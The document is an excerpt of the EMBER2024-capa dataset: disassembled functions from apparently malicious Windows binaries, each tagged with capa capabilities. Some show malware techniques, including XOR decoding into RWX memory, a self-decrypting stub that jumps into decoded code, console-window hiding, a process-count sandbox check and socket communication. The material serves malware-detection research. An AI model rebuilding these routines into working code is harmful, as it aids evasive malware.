joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d00dc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], 0
je 0x4d01b3
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x4d01b3
cmp dword [ebp - 8], 0
je 0x4d01b3
cmp dword [ebp - 0xc], 0
je 0x4d01b3
push 0x40
push 0x3000
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4d01b3
mov edx, dword [ebp + 8]
mov edx, dword [edx]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
call fcn.004076dc
mov eax, dword [ebp + 8]
mov eax, dword [eax]
dec eax
test eax, eax
jb 0x4d01b3
inc eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
xor edx, edx
div dword [ebp - 0xc]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x14]
and eax, 1
test eax, eax
jne 0x4d0185
mov al, byte [ebp - 0x14]
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x14]
xor al, byte [edx]
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x14]
mov byte [edx], al
jmp 0x4d019b
mov al, byte [ebp - 0xc]
sub al, byte [ebp - 0x18]
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x14]
xor al, byte [edx]
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x14]
mov byte [edx], al
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x18]
mov al, byte [eax]
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x14]
xor byte [edx], al
inc dword [ebp - 0x14]
dec dword [ebp - 0x1c]
jne 0x4d015b
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret 4

Function at 0x4d055c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4d0596
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004d0068
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x4d03c4
push 0
push 0
call sub.kernel32.dll_CreateThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4d05b3
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4041b4
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4204a6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
mov dword [ebp - 0x1a0], ecx
mov ecx, dword [ebp - 0x1a0]
call fcn.004042af
mov eax, dword [ebp - 0x1a0]
mov dword [eax], vtable.CTcpSocket.0
mov ecx, dword [ebp - 0x1a0]
add ecx, 0x2c
call fcn.00401000
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x1a0]
add ecx, 0x3c
call fcn.00401000
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1a0]
add ecx, 0x4c
call fcn.00401000
mov byte [ebp - 4], 2
push str.CTcpSocket::CTcpSocket
push 0x422270
call fcn.00408ff1
pop ecx
pop ecx
lea eax, [ebp - 0x19c]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, dword [ebp - 0x1a0]
mov dword [ecx + 4], eax
push 0
mov eax, dword [ebp - 0x1a0]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [ebp - 0x1a0]
or dword [eax + 0x64], 0xffffffff
mov eax, dword [ebp - 0x1a0]
and dword [eax + 0x5c], 0
mov eax, dword [ebp - 0x1a0]
and dword [eax + 0x60], 0
mov eax, dword [ebp - 0x1a0]
and dword [eax + 0x14], 0
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret

Function at 0x4042ef
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov dword [ebp - 8], ecx
push str.CTcpSocket::Disconnect
push 0x42228c
call fcn.00408ff1
pop ecx
pop ecx
mov eax, dword [ebp - 8]
cmp dword [eax + 0x18], 0
jne 0x404313
jmp 0x404376
xor eax, eax
inc eax
mov word [ebp - 4], ax
xor eax, eax
mov word [ebp - 2], ax
push 4
lea eax, [ebp - 4]
push eax
push 0x80
push 0xffff
mov eax, dword [ebp - 8]
push dword [eax + 0x64]
call dword [sym.imp.WS2_32.dll_setsockopt]
mov eax, dword [ebp - 8]
push dword [eax + 0x64]
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
mov eax, dword [ebp - 8]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [ebp - 8]
push dword [eax + 0x64]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 8]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, dword [ebp - 8]
or dword [eax + 0x64], 0xffffffff
leave
ret
Function at 0x404a62
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
and dword [ebp - 8], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
mov dword [ebp - 0x10], 0xf
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
jmp 0x404a95
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0x10]
jl 0x404af8
and dword [ebp - 0x18], 0
and dword [ebp - 0x18], 0
jmp 0x404aae
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x10]
jge 0x404ad7
push 0
push dword [ebp + 0x10]
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
push dword [eax + 0x64]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x404ad5
jmp 0x404ad7
jmp 0x404aa7
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x10]
jne 0x404ae4
or eax, 0xffffffff
jmp 0x404b5c
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
add eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
jmp 0x404a8c
cmp dword [ebp - 0x14], 0
jle 0x404b4a
and dword [ebp - 0x1c], 0
jmp 0x404b0b
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x10]
jge 0x404b34
push 0
push dword [ebp - 0x14]
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
push dword [eax + 0x64]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x404b32
jmp 0x404b34
jmp 0x404b04
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x10]
jne 0x404b41
or eax, 0xffffffff
jmp 0x404b5c
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
jne 0x404b59
mov eax, dword [ebp - 4]
jmp 0x404b5c
or eax, 0xffffffff
leave
ret 0xc
Function at 0x404d65
Capabilities:
Create thread
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], 0x598
mov eax, dword [ebp - 0x30]
cmp dword [eax + 0x198], 0
jne 0x404d8f
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x28]
mov dword [eax + 0x1b8], ecx
jmp 0x404db6
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0x198]
cmp eax, dword [ebp - 0x28]
jbe 0x404da4
xor eax, eax
jmp 0x404f10
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx + 0x198]
mov dword [eax + 0x1b8], ecx
mov eax, dword [ebp - 0x30]
mov dword [eax + 0x64], 0
mov ecx, dword [ebp - 0x30]
call fcn.00404f97
push 1
push 0
push 5
push 1
mov ecx, dword [ebp - 0x30]
add ecx, 0x30
call fcn.00404f55
and dword [ebp - 0x24], 0
push 0
push 0
lea ecx, [ebp - 0x1c]
call fcn.00404f14
push 0x42b278
call fcn.00401728
pop ecx
mov ecx, dword [ebp - 0x30]
mov dword [ecx + 0x48], eax
mov eax, dword [ebp - 0x30]
cmp dword [eax + 0x48], 0
jne 0x404e16
push 0x42b278
call fcn.00401728
pop ecx
mov ecx, dword [ebp - 0x30]
mov dword [ecx + 0x48], eax
mov dword [ebp - 0x20], 0x40000
push 4
lea eax, [ebp - 0x20]
push eax
push 0x1001
push 0xffff
mov eax, dword [ebp - 0x30]
push dword [eax + 0x40]
call dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [ebp - 0x20], 0x40000
push 4
lea eax, [ebp - 0x20]
push eax
push 0x1002
push 0xffff
mov eax, dword [ebp - 0x30]
push dword [eax + 0x40]
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [ebp + 0xc]
push dword [ebp + 8]
mov ecx, dword [ebp - 0x30]
call fcn.004050b8
test eax, eax
je 0x404ec4
mov eax, dword [ebp - 0x30]
add eax, 0x58
push eax
push 0
push dword [ebp - 0x30]
push 0x405257
push 0
push 0
call fcn.0040ed12
add esp, 0x18
mov ecx, dword [ebp - 0x30]
mov dword [ecx + 0x54], eax
mov eax, dword [ebp - 0x30]
cmp dword [eax + 0x54], 0
je 0x404eae
mov dword [ebp - 0x24], 1
mov ecx, dword [ebp - 0x30]
add ecx, 0x2c
call fcn.00404f83
jmp 0x404ec2
push 0x65f
push 0x422560
push 8
mov ecx, dword [ebp - 0x30]
call fcn.00405ed6
jmp 0x404eda
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.CUdpSocket::Start
push 0xb
mov ecx, dword [ebp - 0x30]
call fcn.00405ed6
cmp dword [ebp - 0x24], 0
jne 0x404f0d
push 1
push 0
push 5
push 0
mov ecx, dword [ebp - 0x30]
add ecx, 0x30
call fcn.00404f55
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x30]
call fcn.00405ba2
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 0x24]
leave
ret 0x10
Function at 0x4050b8
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov dword [ebp - 0x38], ecx
and dword [ebp - 0x28], 0
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp - 0x38]
mov dword [ecx + 0x40], eax
mov eax, dword [ebp - 0x38]
cmp dword [eax + 0x40], 0xffffffff
jne 0x4050e7
xor eax, eax
jmp 0x405253
and dword [ebp - 0x24], 0
push 0
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 4
lea eax, [ebp - 0x24]
push eax
push 0x9800000c
mov eax, dword [ebp - 0x38]
push dword [eax + 0x40]
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 4
lea eax, [ebp - 0x24]
push eax
push 0xfffffffffffffffb
push 0xffff
mov eax, dword [ebp - 0x38]
push dword [eax + 0x40]
call dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 0x24]
push eax
push 4
push 0xffff
mov eax, dword [ebp - 0x38]
push dword [eax + 0x40]
call dword [sym.imp.WS2_32.dll_setsockopt]
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov ecx, dword [ebp - 0x38]
mov dword [ecx + 0x44], eax
and dword [ebp - 8], 0
push 0
push 0
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
inc eax
push eax
call fcn.0040cf36
pop ecx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x20], eax
push 0
push 0
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x1c]
mov byte [eax], 0
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x34], eax
push dword [ebp - 0x34]
call fcn.0040d9d3
pop ecx
cmp dword [ebp - 8], 0
jne 0x4051d5
xor eax, eax
jmp 0x405253
push 2
pop eax
mov word [ebp - 0x18], ax
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
push 0x30
mov eax, dword [ebp - 0x38]
push dword [eax + 0x44]
mov eax, dword [ebp - 0x38]
push dword [eax + 0x40]
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x405250
push 0x10
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x38]
push dword [eax + 0x40]
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x405243
cmp dword [ebp - 0x2c], 0xffffffff
jne 0x40523d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x405243
and dword [ebp - 0x3c], 0
jmp 0x40524a
mov dword [ebp - 0x3c], 1
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
leave
ret 8
Function at 0x405874
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
xor eax, eax
inc eax
je 0x4059a2
push 0
push 0x598
mov eax, dword [ebp - 0xc]
push dword [eax + 0x70]
mov eax, dword [ebp - 0xc]
push dword [eax + 0x40]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x405950
cmp dword [ebp - 4], 0x10
jne 0x4058e5
push 0x10
push 0x422550
mov eax, dword [ebp - 0xc]
push dword [eax + 0x70]
call fcn.0040ee48
add esp, 0xc
test eax, eax
jne 0x4058e5
push 0
push 0
push 5
push 1
mov ecx, dword [ebp - 0xc]
add ecx, 0x30
call fcn.00404f55
xor eax, eax
jmp 0x4059a5
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 0xc]
push dword [eax + 0x1c0]
mov eax, dword [ebp - 0xc]
push dword [eax + 0x1c8]
push dword [ebp - 4]
mov eax, dword [ebp - 0xc]
push dword [eax + 0x70]
mov ecx, dword [ebp - 0xc]
add ecx, 0x1d8
call fcn.00406b18
cmp eax, 2
jne 0x40594e
mov eax, dword [ebp - 0xc]
push dword [eax + 0x48]
push str._C_CNNID:__Iu__OnReceive___event_return_HR_ERROR__connection_will_be_closed___n
call fcn.00408ff1
pop ecx
pop ecx
push 1
push 0x4c7
call fcn.004054c4
pop ecx
push eax
push 4
push 1
mov ecx, dword [ebp - 0xc]
add ecx, 0x30
call fcn.00404f55
xor eax, eax
jmp 0x4059a5
jmp 0x40599d
cmp dword [ebp - 4], 0xffffffff
jne 0x40599d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2733
jne 0x40596c
jmp 0x4059a2
cmp dword [ebp - 8], 0x2744
je 0x40597e
cmp dword [ebp - 8], 0x2746
jne 0x405985
jmp 0x40587d
push 1
push dword [ebp - 8]
push 4
push 1
mov ecx, dword [ebp - 0xc]
add ecx, 0x30
call fcn.00404f55
xor eax, eax
jmp 0x4059a5
jmp 0x40587d
xor eax, eax
inc eax
leave
ret
Function at 0x4059a7
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4204d2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
mov dword [ebp - 0x2c], ecx
xor eax, eax
inc eax
je 0x405b15
mov ecx, dword [ebp - 0x2c]
call fcn.00405b33
push eax
mov eax, dword [ebp - 0x2c]
add eax, 0x7c
push eax
lea ecx, [ebp - 0x14]
call fcn.00406b95
and dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.00406b7e
movzx eax, al
test eax, eax
je 0x405af6
push 0
lea ecx, [ebp - 0x14]
call fcn.00407650
mov ecx, eax
call fcn.0040152f
push eax
lea ecx, [ebp - 0x14]
call fcn.00407650
mov ecx, eax
call fcn.00405b24
push eax
mov eax, dword [ebp - 0x2c]
push dword [eax + 0x40]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jle 0x405a67
mov eax, dword [ebp - 0x2c]
add eax, 0x160
push eax
lea ecx, [ebp - 0x1c]
call fcn.00401736
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x194]
sub eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x194], eax
lea ecx, [ebp - 0x1c]
call fcn.00401768
jmp 0x405af4
cmp dword [ebp - 0x18], 0xffffffff
jne 0x405af4
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x2733
jne 0x405acb
mov eax, dword [ebp - 0x2c]
add eax, 0x160
push eax
lea ecx, [ebp - 0x24]
call fcn.00401736
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.00406b61
push eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x178
call fcn.004067f5
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x24]
call fcn.00401768
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00406bb4
jmp 0x405b15
push 1
push dword [ebp - 0x20]
push 3
push 1
mov ecx, dword [ebp - 0x2c]
add ecx, 0x30
call fcn.00404f55
and dword [ebp - 0x28], 0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00406bb4
mov eax, dword [ebp - 0x28]
jmp 0x405b18
jmp 0x405b04
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00406bb4
jmp 0x405b15
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00406bb4
jmp 0x4059c5
xor eax, eax
inc eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret
Function at 0x40615c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x24], ecx
push 0x4226f0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 4], eax
push 0x42270c
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
push str.CUdpSocket::Connect
push 0x42272c
call fcn.00408ff1
pop ecx
pop ecx
call dword [sym.imp.WINMM.dll_timeGetTime]
mov ecx, dword [ebp - 0x24]
mov dword [ecx + 0x14], eax
push 0
mov eax, dword [ebp - 0x24]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0xa
push 0
mov eax, dword [ebp - 0x24]
add eax, 0x20
push eax
call fcn.0040e810
add esp, 0xc
push 8
mov eax, dword [ebp - 0x24]
add eax, 0x14
push eax
mov eax, dword [ebp - 0x24]
add eax, 0x20
push eax
call fcn.0040da30
add esp, 0xc
mov eax, dword [ebp - 0x24]
mov byte [eax + 0x28], 0xca
mov eax, dword [ebp - 0x24]
mov byte [eax + 0x29], 0
mov eax, dword [ebp - 0x24]
cmp dword [eax + 0x64], 3
je 0x406200
mov ecx, dword [ebp - 0x24]
call fcn.00405ba2
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
mov ecx, dword [ebp - 0x24]
call fcn.00404d65
mov dword [ebp - 0x10], eax
push 0x1770
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x406243
cmp dword [ebp - 0x28], 0x102
je 0x406282
cmp dword [ebp - 0x28], 0xffffffff
je 0x406291
jmp 0x4062a0
push 1
mov eax, dword [ebp - 0x24]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x20]
push eax
push 0
push dword [ebp - 0x24]
push 0x4062aa
push 0
push 0
call fcn.0040ed12
add esp, 0x18
mov ecx, dword [ebp - 0x24]
mov dword [ecx + 0x268], eax
mov al, 1
jmp 0x4062a6
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x4062a6
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x4062a6
xor al, al
jmp 0x4062a6
leave
ret 8

Function at 0x4076be
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4076e6
mov eax, 0x190
call fcn.004103a0
mov dword [ebp - 0xc], esp
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
push dword [ebp - 4]
movzx eax, byte [ebp + 0x10]
and eax, 0xff
movzx eax, al
movzx ecx, byte [ebp + 0xc]
and ecx, 0xff
movzx ecx, cl
shl ecx, 8
or eax, ecx
push eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
lea esp, [ebp - 0xc]
leave
ret 0xc

Function at 0x4078df
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
push 0
push 0
push dword [ebp - 4]
push 0x40774e
push 0
push 0
call fcn.0040ed12
add esp, 0x18
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x18], eax
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
call fcn.00403f0c
leave
ret
Function at 0x408ff6
Capabilities:
Create thread
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
call fcn.00408ff1
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
call dword [sym.imp.USER32.dll_GetInputState]
call fcn.00408266
push 0
push 0
push 0
push 0x4088ac
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x42d3a8], eax
push 0xffffffffffffffff
push dword [0x42d3a8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x42d3a8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
pop ebp
ret

Function at 0x40906e
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0xffffffff
jne 0x409091
jmp 0x409106
mov dword [ebp - 0x238], 0x22c
push 0x228
push 0
lea eax, [ebp - 0x234]
push eax
call fcn.0040e810
add esp, 0xc
and dword [ebp - 4], 0
lea eax, [ebp - 0x238]
push eax
push dword [ebp - 0x23c]
call sub.KERNEL32.dll_Process32FirstW
mov dword [ebp - 0x240], eax
jmp 0x4090e7
lea eax, [ebp - 0x238]
push eax
push dword [ebp - 0x23c]
call sub.KERNEL32.dll_Process32NextW
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0
je 0x4090f9
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
jmp 0x4090cf
cmp dword [ebp - 4], 0x28
jg 0x409106
push 1
call fcn.004108e5
leave
ret
Function at 0x40afe5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42082c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4c
push esi
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
cmp dword [eax + 0x44], 0
je 0x40b018
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x49]
test eax, eax
jne 0x40b024
mov al, 1
jmp 0x40b1b0
mov dword [ebp - 0x10], 8
call fcn.00409373
push eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
call dword [eax + 0xc]
mov dword [ebp - 0x38], eax
call fcn.00409373
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.0040935f
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x40b064
xor al, al
jmp 0x40b1b0
push 0
push 8
lea ecx, [ebp - 0x30]
call fcn.0040a6de
and dword [ebp - 4], 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040a86d
mov ecx, eax
call fcn.0040b298
mov esi, eax
lea ecx, [ebp - 0x30]
call fcn.0040b30c
add esi, eax
push esi
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040a86d
mov ecx, eax
call fcn.0040b298
push eax
mov eax, dword [ebp - 0x54]
add eax, 0x4c
push eax
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax + 0x44]
call fcn.0040bc03
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x40b0dc
cmp dword [ebp - 0x58], 1
je 0x40b0e3
cmp dword [ebp - 0x58], 3
je 0x40b175
jmp 0x40b18a
mov eax, dword [ebp - 0x54]
mov byte [eax + 0x49], 0
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040a86d
mov ecx, eax
call fcn.0040b298
mov ecx, dword [ebp - 0x14]
sub ecx, eax
mov dword [ebp - 0x34], ecx
je 0x40b141
mov eax, dword [ebp - 0x54]
push dword [eax + 0x54]
push dword [ebp - 0x34]
push 1
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040a86d
mov ecx, eax
call fcn.0040b298
push eax
call fcn.00410c59
add esp, 0x10
cmp dword [ebp - 0x34], eax
je 0x40b141
mov byte [ebp - 0x4d], 0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.004091fd
mov al, byte [ebp - 0x4d]
jmp 0x40b1b0
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x49]
test eax, eax
jne 0x40b161
mov byte [ebp - 0x4e], 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.004091fd
mov al, byte [ebp - 0x4e]
jmp 0x40b1b0
cmp dword [ebp - 0x34], 0
jne 0x40b173
push 0
push 8
lea ecx, [ebp - 0x30]
call fcn.0040a741
jmp 0x40b19f
mov byte [ebp - 0x4f], 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.004091fd
mov al, byte [ebp - 0x4f]
jmp 0x40b1b0
mov byte [ebp - 0x50], 0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.004091fd
mov al, byte [ebp - 0x50]
jmp 0x40b1b0
jmp 0x40b074
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
leave
ret

Function at 0x4118aa
Capabilities:
Terminate process

Disassembly:
